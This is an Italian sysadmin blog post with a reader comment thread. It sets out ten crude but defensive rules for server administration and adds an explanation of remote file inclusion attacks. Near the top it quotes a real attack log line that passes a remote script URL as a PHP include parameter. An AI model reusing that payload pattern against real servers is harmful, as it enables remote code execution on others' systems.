Commenti & Opinioni


Home Page | Commenti | Articoli | Faq | Documenti | Ricerca | Archivio | Storie dalla Sala Macchine | Contribuire | Login/Register

Il Decalogo - Update!

Allora, dopo aver madonnato per parecchio tempo su servers che paiono installati e mantenuti da Attila l'Unno ed aver visto i problemi che i vari phprogrammatroti distribuiscono un po' troppo allegramente, ho deciso di mettere insieme queste dieci regolette. Probabilmente questo pistolotto verra' "espanso" in un articolo serio, ma stamani, dopo aver visto per la bazillionesima volta una cosa tipo

200.40.86.142 - - [22/Oct/2009:18:29:21 +0200] "GET /page/tools/phpsecurityadmin/include=http://www.thelampshade.com/store//images/attributes/id.txt%0D??

mi sono leggermente stufato.

Ovviamente ho mandato un paio di mails agli amministratori di quel cacchio di sito ed al di loro provider, ma non e' che mi aspetti molto.

Ed hanno pure il coraggio di chiamarlo "phpsecurityadmin"! PHPBruttaMerdaAdmin direi io...

Ecco quindi dieci semplici regolette, chiamiamole "le regole del bravo sysadmin non-completamente-cerebroleso".

  1. Dai ai tuoi server un nome decente

    E prima che me lo domandi, "localhost", "pippo", "www" e "c1p8" NON SONO 'nomi decenti'. Soprattutto il primo e l'ultimo, che ti credi di essere spiritoso?

  2. Dai ai tuoi client un nome decente

    Qui' si potrebbe fare lo stesso discorso precedente, ma con una aggiunta: dare ai vari picci' dell'azienda lo stesso nome dell'utente puo' aver senso ma solo se tale picci' non esce mai dall'azienda o se l'utente ha uno ed un solo computer. Dare ai picci nomi come 'RKZ90876-3' ha l'ovvio problema che nessuno sa quale computer e' quello.

  3. Il tuo merdoso server di posta fara' relay solo ed unicamente per la sua rete interna o da utenti autenticati

    Che c'e' gia' troppo spam in giro per il mondo, perche' vuoi aggiungerne di piu'?

  4. Il tuo foxxuto server di posta si presentera' sempre e solo con il suo FQDN

    E se non sai che cosa e' un FQDN forse non dovresti gestire un server di posta. E prima che me lo domandi: 'localhost.localdomain' non e' un fqdn valido!

  5. Tu non consentirai a nessuna phporcheria web-applicazione di inviare posta senza controllo.

    Questo non dovrebbe richiedere una spiegazione, ma c'e' un sacco di gente che fornisce questo tipo di "funzionalita'" nelle sue phporcherie web-applicazioni senza pensarci troppo, cosi' tu ti ritrovi il server di posta blacklistato senza capire il perche'.

  6. Se la tua phpmerda web-applicazione consente agli "utenti" di uploadare dei files, tu controllerai GIORNALMENTE quali files sono stati aggiunti e COSA sono, onde evitare di ospitare immondizia senza saperlo.

    Anche questo non dovrebbe richiedere una spiegazione, ma e' un po' troppo tempo che trovo un po' troppi messaggi come quello riportato sopra nei miei log. E questo ci porta direttamente alla "regola" successiva...

  7. Tu verificherai giornalmente i tuoi Log e procederai ad investigare tutti i messaggi anomali.

    Se vedi 10.000 richieste per un file .txt o .asp che non dovrebbe esistere comincia a preoccuparti, cosi' come se vedi 3000 mail nella coda. E se non sei in grado di capire i messaggi di log forse non dovresti fare il sysadmin.

  8. Tu gestirai correttamente gli indirizzi 'postmaster@', 'webmaster@', 'root@' ed 'abuse@'.

    Che sono obbligatori e specificati nelle RFC! E per 'gestire correttamente' non intendo 'redirigere verso /dev/null'. Chiaro?

  9. Tu verificherai che il tuo utente 'apache' (o quello che usa quell'aborto che tu chiami server web) non possa scrivere da nessuna parte che sia accessibile o eseguibile via http

    Che ne ho piene le balle di vedere coglioni che cercano di eseguire roba da siti i cui sysadmin sono allo stesso livello dei nematodi

    E per finire, ma non meno importante di tutto il resto...

  10. Tu darai la propria considerazione alle e-mail che ti indicano possibili infezioni o abusi dei tuoi sistemi

    E non cliccare 'cancella' o rispondere 'sonasegaio'!

ATTENZIONE: non cominciate con i commenti "ma ce l'hai con il php" e "php e' un linguaggio semplice e quindi...". NON ME NE FREGA UN BELINO! Chissa' perche' su 20 applicazioni-cacca 19 sono fatte in php, quindi per estensione io le considero tutte delle merdacce. Sono sicuro che, da qualche parte, ben nascosti, esistono dei programmatori php che non fanno di queste schifezze, ma io preferisco l'approccio "Guantanamo bay": tutte le applicazioni in php sono delle merde finche' non dimostrano il contrario. E se siete curiosi, la 20a applicazione-merda e' la nostra interfaccia in Java.

Addendum

Allora, visto che un sacco di gente ha maillato/commentato riguardo quel frammento di log che ho pubblicato e mi pare che in tanti abbiano dei dubbi vediamo di fare un po' di luce.

Quel frammento di log rappresenta un tentativo di utilizzo di cio' che e' comunemente chiamato remote include vulnerability. Lo scopo della cosa e' abbastanza semplice: ottenere l'esecuzione su di un server di uno script specifico per ottenere informazioni e/o accesso al server stesso.

In alcuni casi il malfattore (cracker) ha la possibilita' di uploadare lo script direttamente sul sito "bersaglio", sfruttando servizi esistenti (ftp con user/password beote) o bachi di programmi/web applicazioni che consentono l'upload di cose senza verificare (come ho descritto nella mia storia Secondo Round, nella quale io interpretavo la parte del cracker). In altri casi e' possibile usare una funzionalita' che PHP fornisce a piene mani: quella di includere uno script dentro ad un altro script ed eseguirlo. Tutto bene se l'inclusione non puo' essere 'manipolata', ma in moltissimi casi pare che il programmatore abbia deciso di "fidarsi" dell'utente e consente di specificare il file da includere nell'URL. Ed accetta anche un URL come "file da includere".

Quindi il gioco e': mettere il proprio script su un server da qualche parte, passare l'URL di tale script all'applicazione vulnerabile e vedere il proprio script eseguito sulla macchina "bersaglio".

Ovviamente cosa lo script puo' fare dipende dai diritti che sono assegnati al processo-web-server, ma qualche cosa mi dice che chi consente ad applicazioni del genere di funzionare sulla propria macchina senza applicare alcuna restrizione di accesso non ha molti problemi a dare tutti i diritti possibili ed immaginabili al proprio web-server.

Davide Bianchi
26/10/2009 15:59

 

I commenti sono aggiunti quando e soprattutto se ho il tempo di guardarli e dopo aver eliminato le cagate, spam, tentativi di phishing et similia. Quindi non trattenete il respiro.

27 messaggi this document does not accept new posts
Eremita SolitarioParole sante Di Eremita Solitario - postato il 23/10/2009 09:52
Sante parole le tue. Ci sta in giro gente che pensa che per configurare un server bastino 2 click su un paio di checkbox.

--
Eremita Solitario


Anonymous coward@ Eremita Solitario Di Anonymous coward - postato il 23/10/2009 10:40

> (...) Ci sta in giro gente che pensa che per configurare un server bastino 2 click su un paio di checkbox.

Sinceramente credo che sia giusto che per configurare un server bastino un paio di click sulle qualche checkbox. (un secure by default del openBSD). Se cio' implica che non si possa abilitare PHP, mi pare un problema di PHP, dei programmi PHP (e dei programmatori), mica della configurazione server in due click.

Ma dubito si possa arrivare a questi livelli: e' piu' facile (e conveniente) trovare sysadmins che mettano i cerotti ad un sistema che trovare buoni programmatori web.

--
Anonymous coward


Emanuele Graziano@ Eremita Solitario Di Emanuele Graziano - postato il 27/10/2009 15:22

> Sante parole le tue. Ci sta in giro gente che pensa che per configurare un server bastino 2 click su un paio di checkbox.
>
>
in effetti con exchange bastano due click ( almeno credo ), il resto della merda che c'è dentro la crea di default :/

--
Emanuele Graziano


argaarok non comincio Di argaar - postato il 23/10/2009 10:24

che ormai ce l'hai a morte e forse forse ti capisco...ma questo esula dal php però...cioè chi mette su un sistema e non è capace di farlo andrebbe mazziato a priori...che poi ci sia la mania delle webapplication, che la maggiorparte sia scritta in php (e ti ci aggiungo, (ab)usando l'ajax e rova varia9 e che l'accoppiata web_server_fatto_coi_piedi+programmatore_incapace+n_utenti_idioti (che non mancano mai) allora il mix è mortale...però...c'hai una sfiga!!!

--
argaar


Davide InglimaLa differenza... Di Davide Inglima - postato il 23/10/2009 11:03

... tra una applicazione php e una java sono ALMENO 3 mesi...

... ed 8000 euro e 80 ore/uomo ...

... al giorno.

--
http://limacat.blogspot.com


LuigiNomi Di Luigi - postato il 23/10/2009 13:05

>"localhost", "pippo", "www" e "c1p8" NON SONO 'nomi decenti'. . Soprattutto il primo e l'ultimo, che ti credi di essere spiritoso?

Però parli bene e razzoli male. Visto che il TUO server si chiama "Gort" cosa intendi per nomi decenti ?

--
Luigi


Davide Bianchi@ Luigi Di Davide Bianchi - postato il 23/10/2009 13:12

> Però parli bene e razzoli male. Visto che il TUO server si chiama "Gort" cosa intendi per nomi decenti ?

il mio server si chiama gort.onlyforfun.net, se si chiamasse solo 'gort' allora potrei darti ragione. quando vedi 20 diversi indirizzi ip e tutti pretendono di chiamarsi 'www' allora cominci a vederci rosso.

--
Davide Bianchi


Luigi@ Davide Bianchi Di Luigi - postato il 23/10/2009 14:37

> > Però parli bene e razzoli male. Visto che il TUO server si chiama "Gort" cosa intendi per nomi decenti ?
>
> il mio server si chiama gort.onlyforfun.net, se si chiamasse solo 'gort' allora potrei darti ragione. quando vedi 20 diversi indirizzi ip e tutti pretendono di chiamarsi 'www' allora cominci a vederci rosso.
>
>
In questo caso hai perfettamente ragione, si ritorna sempre al punto 4 ... FQDN

--
Luigi


Luca Benelliche perle... Di Luca Benelli - postato il 23/10/2009 13:41

E dopo essermi sentito dire "perchè devo pagare lei Xk lordi al mese se mio figlio mi fa lo stesso lavoro per 500?" aggiungiamo tutte queste perle (evidentemente dovute a degli idioti esistenti sul mercato del lavoro informatico) e mi spiego benissimo perché sono a casa a fare un ca%%o... (36 anni, troppo vecchio e qualificato - e su questo mi metto pure a ridere da solo).

Grazie per il sorriso settimanale :\)

--
Luca Benelli


R. Damon@ Luca Benelli Di R. Damon - postato il 24/10/2009 21:05

> E dopo essermi sentito dire "perchè devo pagare lei Xk� lordi al mese [...]

Mille grazie ai wizard clicca-clicca, ai libriccini "for dummies" e a quelli che "faccio tutto io, tanto e' tutto facile". A volte mi sorprendo a pensare che il solo vero modo sensato di vendicarci sarebbe cambiar mestiere noi e lasciare TUTTE le aziende in mano a gente del genere.


> e mi spiego benissimo perché sono a casa a fare un ca%%o... [...]

Ho notato che sono in tanti. Non ho questo dispiacere, al momento, ma ogni volta che mi trovo a nasellare nel mercato del lavoro (in Italia) scopro una situazione sempre piu' orrenda. In troppi, datori di lavoro, committenti, chiamateli come volete, offrono lavori con l'intenzione ormai esplicita che chi li accetta DEBBA essere il classico ragazzino che vuole alzare qualche soldo facendo qualsiasi cosa e in qualsiasi quantita'; non certo il professionista che ci vorrebbe campare e magari metter su famiglia. Tutto il mondo sembra correre in quella disastrata direzione, anche se l'informatica e' uno di quei rami nei quali si producono le situazioni del tipo piu' aberrante e l'Italia una delle nazioni dove si producono piu' facilmente. Con questo intendo dire: peggio di noi, ormai, soltanto i friggitori di patatine dei fast-food; almeno, nei paesi cosiddetti progrediti.

--
R. Damon


Mauro PietrobelliM _ _ _ _ IA Di Mauro Pietrobelli - postato il 23/10/2009 14:33

Stavolta BigD ti sei proprio in....ato per bene........
Ti auguro un WE sereno e soprattutto che porti un pò di sale in zucca a quegli (brainless) Admin....
Ciao D.

--
Mamo


Alerittypostmaster Di Aleritty - postato il 23/10/2009 15:47

> Tu gestirai correttamente gli indirizzi 'postmaster@', 'webmaster@', 'root@' ed 'abuse@'.

Ehi, guarda che postmaster sei TU!
http://www.soft-land.org/storie/09/story32

Però ora hai rivelato la tua politica nel gestirli! :-D

--
Aleritty


THE Anonymous cowardthe good boy Di THE Anonymous coward - postato il 24/10/2009 10:06

If in 2009 sysadmin still crap like this does not even sense to call sysadmin..
(register_global/allow_url_fopen/open_basedir/SElinux as well..)

Any fucking technology, if managed by retarded it's useless...

--
THE Anonymous coward


Davide Bianchi@ THE Anonymous coward Di Davide Bianchi - postato il 24/10/2009 11:21

> Any fucking technology, if managed by retarded it's useless...

Unfortunately it seems that some technology is easier to mismanage than others.

--
Davide Bianchi


Il codardo senza nomeOk D. Di Il codardo senza nome - postato il 24/10/2009 12:08

> tutte le applicazioni in php sono delle merde finche' non dimostrano il contrario. E se siete curiosi, la 20a applicazione-merda e' la nostra interfaccia in Java.

.. sei stato più che convincente :D

--
Il codardo senza nome


RickMi sa che sono un caprone.. Di Rick - postato il 24/10/2009 17:16

..ma non comprendo fino in fondo il problema evidenziato dalla riga di log :\(

Posso attendermi lumi in merito?

Per quello che riguarda le mail obbligatorie, non mi pareva che root@ lo fosse, confermo invece le altre.

Ric

--
Rick


beppe@ Rick Di beppe - postato il 24/10/2009 19:42

> ..ma non comprendo fino in fondo il problema evidenziato dalla riga di log :\(
>
> Posso attendermi lumi in merito?

aiutino: all'interno della DIRECTORY (huau, e' da un po' che non le chiamo piu' col loro nome :-\) ) che suppongo venga richiamata dall'include del comando loggato ci sono dei file di testo che, suppongo, siano apparsi all'insaputa del "sysadmin" di turno.... Tali file,chissa' perche', iniziano con: #!/usr/bin/perl.

grande davide! ti seguo da molto e molto tempo e quando, purtroppo sono rare le volte, ho qualcosa da condividere, mi loggo volentieri.continua cosi'!

p.s.: aiutino bis: in realta' mancano dei pezzi dalla riga loggata, esattamente 2 lettere

--
beppe


R.Damone se e' un webserver... Di R.Damon - postato il 24/10/2009 20:48

> Il tuo foxxuto server di posta si presentera' sempre e solo con il suo FQDN

E se e' un webserver e manda e-mail automatiche si presentera' comunque con un FQDN. In ogni caso, scrivera' nel From del messaggio E nell'"envelope" della sessione SMTP un indirizzo di posta decente, cioe' con un dominio valido dentro o perlomeno con al suo posto un hostname che abbia una risoluzione DNS nel mondo e non soltanto nella tua LAN privata del menga. >B-(

--
R.Damon


Simonescrib scrib Di Simone - postato il 26/10/2009 09:14

meglio segnare le regole d'oro per il mio nuovo serverino...
*scrib scrib*

ricordarsi di cambiare il nome da grim a qualcosa di serio (ovviamente grim.xxxxxxx.it ... fiuu un lart in meno)

non oso pensare a che porcherie ho fatto su apache... è la seconda volta che ci metto le mani... non lartatemi!

--
- Simone


SabrinaVediamo se ho capito che ha quel log... Di Sabrina - postato il 26/10/2009 15:03

Premetto che non sono una sysadmin ma una semplice phone-firewall (scusa Davide ma questa parola mi è piaciuta troppo)...

Se ho capito bene quella è una request per un file che include un file di testo che si trova su un server con un FQDN diverso?

--
Sabrina


Davide Bianchi@ Sabrina Di Davide Bianchi - postato il 26/10/2009 16:19

> Se ho capito bene quella è una request per un file che include un file di testo che si trova su un server con un FQDN diverso?

Vedi 'addendum' alla fine del commento.

--
Davide Bianchi


GamaAnche in questo caso l'errore rimane tra sedia e tastiera Di Gama - postato il 27/10/2009 08:48

Nulla da eccepire sul decalogo, sono linee guida sacrosante che chiunque dovrebbe rispettare.
Come quasi sempre pero' i problemi non sono dati dagli strumenti ma da coloro che li usano, se non ricordo male infatti la definizione di CL, UL, ecc... non implica in maniera assoluta che il soggetto in questione sia un "utonto" ma comprende anche tanti wannabe e sedicenti esperti che spesso non imparano nemmeno dai propri errori.

Gama

--
Tutti abbiamo bisogno di credere in qualcosa... Io credo che mi faro' un'altra birra!


Davide Bianchi@ Gama Di Davide Bianchi - postato il 27/10/2009 09:05

> Come quasi sempre pero' i problemi non sono dati dagli strumenti ma da coloro che li usano

Un bravo carpentiere sa che deve usare lo strumento giusto per il lavoro giusto. Un carpentiere-luser usera' tranquillamente quello che trova "piu' facile" perche' non ha voglia di imparare. Togli lo strumento "facile" e spingerai il carpentiere-luser a fare altro o ad imparare e diventare "meno-luser".

--
Davide Bianchi


Adriano@ Davide Bianchi Di Adriano - postato il 27/10/2009 13:46

> > Come quasi sempre pero' i problemi non sono dati dagli strumenti ma da coloro che li usano
>
> Un bravo carpentiere sa che deve usare lo strumento giusto per il lavoro giusto. Un carpentiere-luser usera' tranquillamente quello che trova "piu' facile" perche' non ha voglia di imparare. Togli lo strumento "facile" e spingerai il carpentiere-luser a fare altro o ad imparare e diventare "meno-luser".
>

La tua analogia si perde velocemente: non togli il martello a un apprendista per forzarlo a imparare a usare il cacciavite, nè gli togli la sega per fargli usare lo scalpello. Lo mandi a fanculo e basta. La nostra professione, ahimè, è ancora troppo giovane per fare questo facilmente.

--
Saludos
Adriano


KurganLa sicurezza e` sempre l'ultimo dei problemi Di Kurgan - postato il 27/10/2009 10:38

Faccio il sysadmin per una piccola azienda di amici, fra le altre cose. Questi fanno anche applicazioni web personalizzate, e devo dire che le trovo oggettivamente semplici da usare e molto ben fatte, dal punto di vista dell'utente che le deve usare.

Il problema e` che per loro (per i loro programmatori) le priorita` sono:

- farla bella
- farla in fretta
- farla che funzioni
- farla con le funzioni inutili che vuole il cliente, cosi` il cliente paga
- incassare i soldi dal cliente
- andare in vacanza
- altre 1000 cose
- smacchiare i leopardi
- lucidare le tartarughe
- chiedersi se l'applicazione sia sufficientemente sicura o no

Cosi` mi capita di sentirmi chiedere cose del tipo "senti, possiamo rendere mysql accessibile da fuori?" oppure "senti, perche` non posso includere pagine da un altro sito?" oppure "ehi, ma come mai i miei script non possono accedere a feisbuc?"

--
Il massimo danno con il minimo sforzo


Alberto@ Kurgan Di Alberto - postato il 27/10/2009 22:50

il problema è che c'è un sacco di gente improvvisata, e non solo da un punto di visto meramente tecnico; incassare i soldi è una conseguenza della capacità e della fiducia, se diventa una priorità è necessario cambiare mestiere. Vale tanto per il dipendente, assunto a poche lire con 0 prospettive, quanto per il 'libero professionista' o l'azienda che non sa gestire tempi e persone e allora corre pensando che sia il modo migliore per lavorare.

--
Alberto


Anonymous cowarduploadare? Di Anonymous coward - postato il 01/11/2009 23:44

uploadare? mailare? E poi ti arrabbi se qualcuno dice "cartella" anzichè "directory"...

--
Anonymous coward


27 messaggi this document does not accept new posts

Precedente Successivo


Il presente sito e' frutto del sudore della mia fronte (e delle mie dita), se siete interessati a ripubblicare uno degli articoli, documenti o qualunque altra cosa presente in questo sito per cortesia datemene comunicazione (o all'autore dell'articolo se non sono io), cosi' il giorno che faccio delle aggiunte potro' avvisarvi e magari mandarvi il testo aggiornato.


Questo sito era composto con VIM, ora e' composto con VIM ed il famosissimo CMS FdT.

Questo sito non e' ottimizzato per la visione con nessun browser particolare, ne' richiede l'uso di font particolari o risoluzioni speciali. Siete liberi di vederlo come vi pare e piace, o come disse qualcuno: "Finalmente uno dei POCHI siti che ancora funzionano con IE5 dentro Windows 3.1".

Web Interoperability Pleadge Support This Project
Powered By Gort